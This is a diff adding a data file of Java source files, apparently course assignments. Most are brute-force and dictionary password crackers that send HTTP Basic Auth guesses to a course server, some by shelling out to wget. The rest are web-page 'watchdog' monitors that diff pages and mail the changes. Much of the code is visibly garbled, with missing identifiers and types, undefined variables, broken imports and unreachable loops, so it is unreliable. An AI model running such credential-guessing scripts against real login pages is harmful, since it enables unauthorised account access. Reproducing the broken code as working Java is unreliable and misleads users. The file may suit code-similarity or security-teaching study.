+                    if ((Character.isUpperCase(letter[0]) == true) ||
+                        (Character.isUpperCase(letter[1]) == true) ||
+                        (Character.isUpperCase(letter[2]) == true)) {
+                        
+                        if (performConnection(target, user, generated) == true) {
+                            
+                            System.out.println(""URL: \t\t"" + target + ""\nUser: \t\t""+ user +
+                            ""\nPassword: \t"" + generated);
+                            return true;
+                        }
+                    }
+                    letter[2] = Character.toUpperCase(letter[2]);
+                }
+                letter[1] = Character.toUpperCase(letter[1]);
+            }
+            letter[0] = Character.toUpperCase(letter[0]);
+        }
+        return false;
+    }
+    
+    
+    private boolean performConnection(URL target, String username, String password) throws Exception {
+        HttpURLConnection connection = null;
+        
+        try {
+            attempt_counter++;
+            connection = (HttpURLConnection) target.openConnection();
+            connection.setRequestProperty(""Authorization"", "" "" + Base64.encode(username + "":"" + password));
+            
+            switch (connection.getResponseCode() / 100) {
+                 case 2:
+                    System.out.println(""Connected successfully"");
+                    return true;
+                default:
+                    return false;
+            }
+        }
+        catch (Exception e) {
+            throw new Exception(""Failed  connect  "" + target);
+        }
+    }
+}
+"
+112.java,"
+
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+
+public class BruteForcePropertyHelper {
+
+	private static Properties bruteForceProps;
+
+
+
+	public BruteForcePropertyHelper() {
+	}
+
+
+	
+
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the burteforce Props"");
+			e.printStackTrace();
+		}
+		return bruteForceProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(bruteForceProps == null){
+			bruteForceProps = new Properties();
+
+			InputStream fis =
+				BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties"");
+			bruteForceProps.load(fis);
+		}
+	}
+}
+
+"
+000.java,"
+
+
+
+import java.io.*;
+
+
+
+
+
+class BruteForce{
+	public static void main (String args[]){
+
+		URLHack uh = new URLHack();
+
+		String pas,pas1,pas2,pas3;
+		String passs;
+
+       
+
+		for(int i = 97; i <= 122; i++)
+		{
+			for(int j = 97; j <=122; j++)
+			{
+				for(int k = 97; k <= 122; k++)
+				{
+				
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				pas3 = new Character((char)k).toString();
+				passs= pas1+pas2+pas3;
+				uh.crackIt(passs);
+				
+				
+
+				}
+			}
+		}
+        System.exit(0);
+        for(int i = 65; i <= 90; i++)
+		{
+			for(int j = 65; j <=90; j++)
+			{
+				for(int k = 65; k <= 90; k++)
+				{
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				pas3 = new Character((char)k).toString();
+				passs= pas1+pas2+pas3;
+				uh.crackIt(passs);
+				
+				
+
+				}
+			}
+		}
+		for(int i = 65; i <= 90; i++)
+		{
+			for(int j = 97; j <=122; j++)
+			{
+				for(int k = 65; k <= 90; k++)
+				{
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				pas3 = new Character((char)k).toString();
+				passs= pas1+pas2+pas3;
+				uh.crackIt(passs);
+				
+				
+
+				}
+			}
+		}
+
+		for(int i = 97; i <= 122; i++)
+		{
+			for(int j = 97; j <=122; j++)
+			{
+				for(int k = 65; k <= 90; k++)
+				{
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				pas3 = new Character((char)k).toString();
+				passs= pas1+pas2+pas3;
+				uh.crackIt(passs);
+				
+				
+
+				}
+			}
+		}
+
+		for(int i = 97; i <= 122; i++)
+		{
+			for(int j = 65; j <=90; j++)
+			{
+				for(int k = 65; k <= 90; k++)
+				{
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				pas3 = new Character((char)k).toString();
+				passs= pas1+pas2+pas3;
+				uh.crackIt(passs);
+				
+				
+
+				}
+			}
+		}
+
+		for(int i = 65; i <= 90; i++)
+		{
+			for(int j = 97; j <= 122; j++)
+			{
+				pas1 = new Character((char)i).toString();
+				pas2 = new Character((char)j).toString();
+				passs= pas1+pas2;
+				uh.crackIt(passs);
+			}
+		}
+
+
+	}
+
+}
+
+class URLHack{
+
+public void crackIt(String paas){
+		Process p=null;
+		try{
+			p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+
+			"" http://sec-crack.cs.rmit.edu./SEC/2/"");
+			
+
+
+			InputStream is = p.getErrorStream();
+			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
+
+			String tempLine="""";
+			tempLine = bf.readLine();
+			System.out.println(tempLine);
+
+			if(tempLine.length() == 21)
+				System.out.println(""Invalid Password "" +paas);
+			else
+			{
+				System.out.println(""BINGO "" + paas);
+				System.exit(0);
+			}
+
+
+		}
+
+		catch(Exception e){
+			System.out.println("" ERROR ""+e);
+
+
+
+		}
+
+}
+}"
+145.java,"
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class Dictionary{
+
+  private static URL location;
+  private static String user;
+  private BufferedReader input;
+  private static BufferedReader dictionary;
+  private int maxLetters = 3;
+
+  
+
+    public Dictionary() {
+      
+      Authenticator.setDefault(new MyAuthenticator ());
+
+       startTime = System.currentTimeMillis();
+      boolean passwordMatched = false;
+      while (!passwordMatched) {
+        try {
+          input = new BufferedReader(new InputStreamReader(location.openStream()));
+          String line = input.readLine();
+          while (line != null) {
+            System.out.println(line);
+            line = input.readLine();
+          }
+          input.close();
+          passwordMatched = true;
+        }
+        catch (ProtocolException e)
+        {
+          
+          
+        }
+        catch (ConnectException e) {
+          System.out.println(""Failed  connect"");
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+      }
+       endTime = System.currentTimeMillis();
+      System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime)));
+    }
+
+    
+
+    private char[] nextPassword() {
+      String password = new String();
+      try {
+        password = dictionary.readLine();
+        while (password.length() > maxLetters) {
+          password = dictionary.readLine();
+        }
+      }
+      catch (IOException e) {
+        e.printStackTrace();
+        System.exit(-1);
+      }
+
+      return password.toCharArray();
+    }
+
+
+    
+
+    public static void main(String args[]) {
+      if (args.length != 3) {
+        System.out.println(""Usage: java Dictionary url user dictionary"");
+        System.exit(-1);
+      }
+      try {
+        location = new URL(args[0]);
+      }
+      catch (MalformedURLException e) {
+        e.printStackTrace();
+      }
+      user = new String().concat(args[1]);
+      try {
+        dictionary = new BufferedReader(new FileReader(args[2]));
+      }
+      catch (IOException e) {
+        e.printStackTrace();
+        System.exit(-1);
+      }
+      new Dictionary();
+    }
+
+    
+
+    class MyAuthenticator extends Authenticator {
+      protected PasswordAuthentication getPasswordAuthentication() {
+        char [] currentPassword = nextPassword();
+        System.out.print(user.concat(""-""));
+        System.out.println(currentPassword);
+        return new PasswordAuthentication (user, currentPassword);
+      }
+    }
+}
+"
+118.java,"
+import java.util.*;
+import java.io.*;
+
+public class Result {
+    
+    private String strURL;
+    
+    private String strUsername;
+    
+    private String strPassword;
+    
+    private Date dtTimeStart;
+    
+    private Date dtTimeEnd;
+    
+    private int iAttempts;
+    
+    
+    public Result(String url, String username, String password, Date startDate, Date endDate, int attempts) {
+        strURL = url;
+        strUsername = username;
+        strPassword = password;
+        dtTimeStart = startDate;
+        dtTimeEnd = endDate;
+        iAttempts = attempts;
+    }
+    
+    
+    public String toString() {
+        String output;
+        
+        output = ""******************************\n"";
+        output += ""Password successfully cracked!\n\n"";
+        output += ""URL: "" + strURL + ""\n"";
+        output += ""Username: "" + strUsername + ""\n"";
+        output += ""Password: "" + strPassword + ""\n"";
+        output += "" Time: "" + dtTimeStart.toString() + ""\n"";
+        output += ""End Time: "" + dtTimeEnd.toString() + ""\n"";
+        output += "" Attempts: "" + iAttempts + ""\n"";
+        output += ""******************************\n"";
+        
+        return output;
+    }
+    
+}
+"
+209.java,"
+import java.net.*;
+import java.io.*;
+import java.Ostermiller.util.*;
+import java.util.*;
+
+public class MyClient2 implements Runnable
+{
+   private String hostname;
+   private int port;
+   private String filename;
+   private Socket s;
+   private int n;
+   private InputStream sin;
+   private OutputStream sout;
+   private int dif;
+   private String myPassword;
+   private int status;
+   private int myTime;
+   private BruteForce myMaster;
+   
+
+   public MyClient2(BruteForce bf , int num, int myPort, String password)
+   {
+      
+      hostname = new String(""sec-crack.cs.rmit.edu."");
+      port = myPort;
+      status = 0;
+      myTime = 0;
+      myPassword = password;
+      filename = new String(""/SEC/2/"");
+      myMaster = 0;
+      n = num;
+      dif = 0;
+      
+   }
+   public  getDif()
+   {
+      return dif;
+   }
+   public int getStatus()
+   {
+      return status;
+   }
+   public void run() 
+   {
+      String inputLine;
+      String[] tokens = new String[5];
+      int i;
+       myTime = 0;
+       finish = 0;
+      start = System.currentTimeMillis();
+      try
+      {
+         s = new Socket( hostname, port);
+      }catch( UnknownHostException e)
+      {
+         System.out.println(""'t find host"");
+      }catch( IOException e)
+       {
+          System.out.println(""Error connecting  host ""+n);
+	  return;
+       }
+      while(s.isConnected() == false)
+         continue;
+      
+      finish = System.currentTimeMillis();
+      dif = finish - start;
+      
+      try
+      {
+        sin  = s.getInputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
+      try
+      {
+         sout = s.getOutputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      
+      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
+      toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization:  ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
+      toServer.flush();
+      
+      try
+      {
+         inputLine = fromServer.readLine();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+	  inputLine = null;
+       }
+      
+      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, "" "");
+      i = 0;
+      while(sin.hasMoreTokens())
+      {
+         tokens[i] = sin.nextToken();
+	 i++;
+      }
+      status = Integer.parseInt( tokens[1]);
+      myTime = System.currentTimeMillis();
+      if( status == 200)
+      {
+         System.out.println(""Ok ""+myPassword);
+	 myMaster.retire( this);
+      }
+     
+      toServer.send();
+      try
+      {
+         fromServer.receive();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      try
+      {
+         s.connect();
+      }catch( IOException e)
+       {
+          System.out.println(""'t  connection"");
+	  System.exit(0);
+       }
+   }
+   public  getTime()
+   {
+      return myTime;
+   }
+  
+}
+"
+054.java,"
+import java.net.*;
+import java.io.*;
+import java.misc.*;
+import java.io.BufferedInputStream;
+import java.awt.*;
+import java.awt.event.*;
+
+public class WatchDog
+{
+   public static void main (String args[])
+   {
+      String url = ""http://yallara.cs.rmit.edu./~"";
+      String file1 = ""test1.txt"";
+      int flag = 0;
+
+      
+      WriteFile write = new WriteFile(url, file1, flag);
+
+      
+      
+      new DoSleep().print();
+   }
+}
+
+class DoSleep extends Thread
+{
+   public synchronized void run()
+   {
+      String url = ""http://yallara.cs.rmit.edu./~"";
+      String file2 = ""test2.txt"";
+      int flag = 1;
+      int status = 0;
+      String file1 = ""test1.txt"";
+
+      System.out.println(""Checking........."");
+      try
+      {
+         
+         
+         
+         sleep();
+
+         
+         
+         WriteFile write = new WriteFile(url, file2, flag);
+
+         status = write.getStatus();
+         
+
+          if(status != 0)
+          {
+             int flag2 = 0;
+             
+             
+             WriteFile write2 = new WriteFile(url, file1, flag2);
+          }
+          
+          new DoSleep().print();
+      }
+      catch (InterruptedException e) {}
+   }
+}
+
+
+"
+110.java,"
+
+
+import java.io.BufferedReader;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+public class Watchdog {
+    static final String LOGON_SITE = WatchdogPropertyHelper.getProperty(""logonSite"");
+    static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty(""previousFileName"");
+    static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty(""currentFileName"");
+    static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty(""timeInMilliseconds"");    
+
+
+    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer"");
+    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient"");
+    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender"");
+    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader"");    
+    
+	private static final String COMMAND = WatchdogPropertyHelper.getProperty(""unixCommand"");    
+	
+	
+	public static void main(String[] args) {
+		System.out.println("" Monitoring the Web : ""+ LOGON_SITE);
+		System.out.println(""The output of this is written  the file: ""+ PREVIOUS_FILE_NAME);
+		System.out.println(""The webpage   monitored every: ""+ TIME_IN_MILLS+ "" milliseconds"");		
+		
+		Watchdog watchdog = new Watchdog();
+		watchdog.accessWebPage(LOGON_SITE);
+	}
+	
+	public void accessWebPage( String urlString ) {
+		BufferedReader reader = null;
+		BufferedReader readerNew = null;		
+		String data = null;
+		
+
+        FileOutputStream out = null; 
+        FileOutputStream outNew = null; 
+        PrintStream p = null; 
+        PrintStream pNew = null; 
+
+		URL url = null;
+
+		
+		
+		while (true) {
+			try {
+	
+	            out = new FileOutputStream(PREVIOUS_FILE_NAME);
+	
+	            
+	            p = new PrintStream( out );
+			
+				url = new URL(urlString);            		            
+	
+				reader = new BufferedReader (new InputStreamReader(url.openStream()));
+				
+	
+				
+				while (( data = reader.readLine()) != null ) {
+					p.println(data);										
+					
+				}
+				System.out.println(""Completed writing the output  the file: ""+ PREVIOUS_FILE_NAME);				
+			
+			}
+			catch (MalformedURLException mfue) {
+				mfue.printStackTrace();
+			}
+			catch (IOException ioe) {
+				ioe.printStackTrace();
+			}
+			
+			finally {
+	           p.close();
+			}		
+			
+			
+			
+			try {
+				
+				
+				
+
+				System.out.println(""Sleeping for : ""+ TIME_IN_MILLS+ "" milliseconds"");				
+				Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue());
+	
+	            outNew = new FileOutputStream(CURRENT_FILE_NAME);
+	
+	            
+	            pNew = new PrintStream(outNew);
+			
+	            
+				readerNew = new BufferedReader (new InputStreamReader(url.openStream()));
+				
+				while (( data = readerNew.readLine()) != null ) {
+					pNew.println(data);
+					
+				}
+			
+				System.out.println(""Completed writing the output  the file: ""+ PREVIOUS_FILE_NAME);								
+			}
+			catch (MalformedURLException mfue) {
+				mfue.printStackTrace();
+			}
+			catch (IOException ioe) {
+				ioe.printStackTrace();
+			}
+			
+			
+			catch (InterruptedException e) {
+				e.printStackTrace();
+			}		
+			
+			finally {
+	           pNew.close();
+			}		
+			
+			
+			InputStream inputStream = null;
+			int count = 0; 
+						
+			System.out.println("" comparing the the current content with the previous content "");					
+			
+			System.out.println(""Executing the command: ""  + COMMAND);			
+			
+			try {			
+				
+				
+				
+				Process process = Runtime.getRuntime().exec(COMMAND);		
+
+				process.waitFor();
+								
+				inputStream = process.getInputStream();
+		
+			} catch (Exception e) {
+				
+				System.out.println(""Error Executing the command: ""  + COMMAND+ ""\n ""  + e.toString());
+			}
+	
+	
+	
+		
+			try {
+				
+				
+				
+				count = inputStream.available();
+									
+								if (count > 0) {
+					byte[] buffer = new byte[count];
+					inputStream.read(buffer);
+									
+					String stdout = new String(buffer);
+					
+					System.out.println(""The following changes has occured in the web "");					
+					System.out.println(stdout);
+					
+					
+					Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout);				
+				}
+				
+				else {
+					System.out.println("" has been  change  the site"");
+				}
+				
+			} catch (Exception g) {
+									
+				System.out.println(""Exception: ""  + g.toString());
+			}
+		}		
+						
+	}		
+		
+		
+	public Watchdog() {
+
+	}
+
+
+}
+
+
+"
+068.java,"import java.Object;
+import java.io.*;
+import java.String;
+import java.util.*;
+
+class Dictionary{
+
+      public static void main(String [] args){
+              try
+                {
+                Date d = new Date();
+                String line1="""";
+                String ps="""";
+                String file1 = ""words.txt"";
+                String file2 = ""index.html"";
+                String endline=""Authorization failed."";
+                String [] cmd = new String[4];
+                cmd[0] = ""wget"";
+                cmd[1] = ""--http-user="";
+                cmd[3] = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+                FileReader fr1 = new FileReader(file1);
+                BufferedReader in1 = new BufferedReader(fr1);
+                while((line1 = in1.readLine())!=null)
+                {
+                  try{
+                    cmd[2] = connect(line1);
+                    Runtime.getRuntime().exec(cmd);
+                    if(line1.length()==3)
+                      ps = line1;
+                    System.out.println(cmd[2]);
+                    File f = new File(file2);
+                    if(f.exists())
+                    {
+                    System.out.println(""password: "" + ps);
+                    break;
+                    }
+                   }
+                    catch(IOException ex)
+                    {
+                        System.out.println(""hello1"");
+                    }
+
+                }
+                Date end = new Date();
+                System.out.println(d.toString());
+                System.out.println(end.toString());
+                System.out.println(""Seconds: "" + (end.getSeconds()-d.getSeconds()));
+               }
+
+            catch(IOException e)
+            {
+              System.out.println(""hello,didnt find file."");
+            }
+      }
+    public static String connect(String str1)
+            {
+                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
+                 String str = new String(data);
+                 return str + str1;
+            }
+
+}
+"
+237.java,"	
+
+
+import java.io.*;
+import java.net.*;
+
+import java.util.*;
+
+import java.misc.BASE64Encoder;
+
+public class Dictionary {
+
+  private String userId;
+  private String password;
+
+	ReadDictionary myWords = new ReadDictionary();
+
+  public Dictionary() {
+
+	
+	myWords.openFile();
+
+    
+    Authenticator.setDefault (new MyAuthenticator());
+	
+	
+  }
+
+  public String fetchURL (String urlString) {
+
+
+	StringBuffer sb = new StringBuffer();
+	HttpURLConnection connection;
+	Date startTime, endTime;
+	int responseCode = -1;
+	boolean retry = true;	
+	
+    URL url;
+	startTime = new Date();
+	
+    System.out.println ("" time :"" + startTime);
+
+	while (retry == true)
+	{
+	
+	    try {
+
+			url = new URL (urlString);
+
+			connection = (HttpURLConnection)url.openConnection();
+
+			setUserId("""");
+			setPassword(""rhk8611"");
+
+			System.out.println(""Attempting  get a response : "" +connection.getURL() );
+			responseCode = connection.getResponseCode();
+			System.out.print(responseCode + "" "");
+
+			if (responseCode == HttpURLConnection.HTTP_OK) 
+			{
+				retry = false;
+				System.out.println(""**** ACCESS GRANTED *****"");
+			} else
+			{
+				retry = true;
+				throw new IOException(
+					""HTTP response : "" + String.valueOf(responseCode) + 
+					""\nResponse Message: "" +connection.getResponseMessage() );
+			}
+
+			InputStream content = (InputStream)url.getContent();
+			BufferedReader in   = 
+			new BufferedReader (new InputStreamReader (content));
+			String line;
+				while ((line = in.readLine()) != null) {
+					sb.append (line);
+				}
+			} catch (MalformedURLException e) {
+				
+				retry=false;
+				System.out.println (""Invalid URL"" + e.getMessage());
+			} catch (IOException e) {
+				
+				retry=true;
+				connection = null;
+				System.out.println (""Error  URL \n"" + e.getMessage());
+			}
+		}	
+		endTime = new Date();
+		System.out.println (""Total time taken (Sec) :"" + (endTime.getTime() - startTime.getTime())/1000);
+		
+		
+	return sb.toString();
+  }
+
+
+  public static void main (String args[]) {
+	Dictionary myGenerator = new Dictionary();
+	
+String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+		
+	System.out.println("" ACCESSED ->\n"" + pageFound);
+  }
+
+  class MyAuthenticator extends Authenticator {
+    protected PasswordAuthentication getPasswordAuthentication()
+	{
+		String username = getUserId();
+		String pass = myWords.readLine();	
+
+	  System.out.println("" Authenticating with -> "" + pass);
+
+	  return new PasswordAuthentication (username, pass.toCharArray());
+	  
+    }
+  }
+	
+	public String getPassword()
+	{
+		return this.password;
+	}
+
+	public void setPassword(String password)
+	{
+		this.password = password;
+	}
+
+	
+	public String getUserId()
+	{
+		return this.userId;
+	}
+
+	public void setUserId(String userId)
+	{
+		this.userId = userId;
+	}
+
+
+
+
+}  
+
+
+"
+167.java,"
+package java.httputils;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.util.ArrayList;
+import java.util.Iterator;
+
+
+public class RunnableHttpRequest extends Thread
+{
+    protected String targetURL = ""http://localhost:8080/"";
+    protected int requestCount = 1;
+    protected ArrayList timingList = new ArrayList();
+    protected HttpRequestClient req;
+    Boolean finished = new Boolean(false);
+    HttpRequestThreadPool pool;
+
+    
+    public void run()
+    {
+        try
+        {
+            for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)
+            {
+                try
+                {
+                    req =
+                        new HttpRequestClient(getTargetURL());
+
+                    
+                }
+                catch (MalformedURLException e)
+                {
+                    e.printStackTrace();
+                    break;
+                }
+                catch (IOException e)
+                {
+                    e.printStackTrace();
+                    break;
+                }
+
+            }
+        }
+        finally
+        {
+             i = 0;
+            Iterator iter = getTimingList().iterator();
+            while (iter.hasNext())
+            {
+                 element e =  iter.next();
+                 i+= element.longValue();
+
+            }
+            System.out.println(
+                ""*** Average Request processing time (milliseconds): "" );
+
+            getPool().setThreadAverageTime(this, getTimingList().size());
+
+            setFinished(new Boolean(true));
+        }
+    }
+
+
+    
+    public RunnableHttpRequest()
+    {
+        super();
+    }
+
+
+    
+    public RunnableHttpRequest(
+        String targetURL,
+        int requestCount,
+        String threadName,
+        ThreadGroup group,
+        HttpRequestThreadPool pool)
+    {
+        super(group, threadName);
+        setTargetURL(targetURL);
+        setRequestCount(requestCount);
+        setPool(pool);
+    }
+
+    
+    public int getRequestCount()
+    {
+        return requestCount;
+    }
+
+    
+    public String getTargetURL()
+    {
+        return targetURL;
+    }
+
+    
+    public void setRequestCount(int i)
+    {
+        requestCount = i;
+    }
+
+    
+    public void setTargetURL(String string)
+    {
+        targetURL = string;
+    }
+
+    public static void main(String[] args)
+    {
+        RunnableHttpRequest client = null;
+        try
+        {
+            ThreadGroup group = new ThreadGroup(""testGroup1"");
+            client = new RunnableHttpRequest(
+                args[0],
+                Integer.parseInt(args[1]),
+                ""test1"",
+                group,
+                null);
+            client.close();
+
+            try
+            {
+                while (!client.getFinished().booleanValue())
+                {
+                    sleep(100);
+                }
+            }
+            catch (InterruptedException e)
+            {
+                e.printStackTrace();
+            }
+        }
+        finally
+        {
+            if (client != null)
+            {
+                System.out.println(
+                    ""Request processing time (milliseconds): "" +
+                    client.getTimingList());
+            }
+        }
+    }
+    
+    public HttpRequestClient getReq()
+    {
+        return req;
+    }
+
+    
+    public ArrayList getTimingList()
+    {
+        return timingList;
+    }
+
+    
+    public void setReq(HttpRequestClient client)
+    {
+        req = client;
+    }
+
+    
+    public void setTimingList(ArrayList list)
+    {
+        timingList = list;
+    }
+
+    
+    Boolean getFinished()
+    {
+        return finished;
+    }
+
+    
+    synchronized void setFinished(Boolean boolean1)
+    {
+        finished = boolean1;
+    }
+
+    
+    public HttpRequestThreadPool getPool()
+    {
+        return pool;
+    }
+
+    
+    public void setPool(HttpRequestThreadPool pool)
+    {
+        this.pool = pool;
+    }
+
+}
+"
+251.java,"import java.util.*;
+import java.io.*;
+
+
+
+public class WatchDog {
+
+  public WatchDog() {
+
+  }
+  public static void  main(String args[]) {
+    DataInputStream newin;
+
+    try{
+
+
+      System.out.println(""Downloading first copy"");
+      Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
+      String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""};
+      String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""};
+      while(true){
+            Thread.sleep(24*60*60*1000);
+            System.out.println(""Downloading new copy"");
+            Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
+            Thread.sleep(2000);
+            Runtime.getRuntime().exec(cmdDiff);
+            Thread.sleep(2000);
+            newin = new DataInputStream( new FileInputStream( ""Diff.txt""));
+            if (newin.readLine() != null){
+               System.out.println(""Sending Mail"");
+               Runtime.getRuntime().exec(cmdMail);
+               Runtime.getRuntime().exec(""cp newfile.html oldfile.html"");
+
+            }
+        }
+
+    }
+    catch(Exception e){
+      e.printStackTrace();
+    }
+
+    }
+
+}"
+138.java,"import java.io.*;
+import java.util.Date;
+
+
+
+
+
+import java.jscape.inet.http.*;  
+
+
+
+
+
+
+
+class BruteForce
+{
+   public static void main (String args[]) throws Exception
+   {
+      String username = """";
+      byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
+      byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}; 
+    
+      int errorMessage = 401;
+      int firstPosition = 0;
+      int secondPosition = 0;
+      int thirdPosition = 0; 
+      int number = 1;
+      int attempts = 0;
+      
+      Http http = new Http();
+      HttpRequest request = new HttpRequest (""http://sec-crack.cs.rmit.edu./SEC/2/"" );
+      Date startDate = new Date(); 
+      
+      
+     
+      for(firstPosition = 0; firstPosition < 26; firstPosition++)
+      {
+         String one = new String (asciiLower, firstPosition, number);
+         String password = one;
+         request.setBasicAuthentication(username,password);
+         HttpResponse response = http.getResponse(request);
+         errorMessage = response.getResponseCode();
+         System.out.println(errorMessage);
+         System.out.println(password);
+         attempts++;
+         if (errorMessage == 200)
+            break;
+      }
+
+       
+
+      if (errorMessage == 401)
+      {
+         for(firstPosition = 0; firstPosition < 26; firstPosition++)
+         {
+            String one = new String (asciiUpper, firstPosition, number);
+            String password = one;
+            request.setBasicAuthentication(username,password);
+            HttpResponse response = http.getResponse(request);
+            errorMessage = response.getResponseCode();
+            System.out.println(errorMessage);
+            System.out.println(password);
+            attempts++;
+            if (errorMessage == 200)
+               break;
+         }
+      }
+
+      
+
+       if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               String one = new String(asciiLower, firstPosition,number);
+               String two = new String (asciiLower, secondPosition, number);
+               String password = one + two;
+               request.setBasicAuthentication(username,password);
+               HttpResponse response = http.getResponse(request);
+               errorMessage = response.getResponseCode();
+               System.out.println(errorMessage);
+               System.out.println(password);
+               attempts++;
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }
+      }  
+
+       
+
+       if (errorMessage == 401)
+      { 
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               String one = new String(asciiUpper, firstPosition,number);
+               String two = new String (asciiUpper, secondPosition, number);
+               String password = one + two;
+               request.setBasicAuthentication(username,password);
+               HttpResponse response = http.getResponse(request);
+               errorMessage = response.getResponseCode();
+               System.out.println(errorMessage);
+               System.out.println(password);
+               attempts++;
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }
+      }
+
+      
+
+      if(errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               String one = new String(asciiUpper, firstPosition,number);
+               String two = new String (asciiLower, secondPosition, number);
+               String password = one + two;
+               request.setBasicAuthentication(username,password);
+               HttpResponse response = http.getResponse(request);
+               errorMessage = response.getResponseCode();
+               System.out.println(errorMessage);
+               System.out.println(password);
+               attempts++;
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiLower, firstPosition,number);
+                  String two = new String (asciiLower, secondPosition, number);
+                  String three = new String (asciiLower, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }      
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiUpper, firstPosition,number);
+                  String two = new String (asciiUpper, secondPosition, number);
+                  String three = new String (asciiUpper, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }      
+      }
+
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiUpper, firstPosition,number);
+                  String two = new String (asciiLower, secondPosition, number);
+                  String three = new String (asciiLower, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
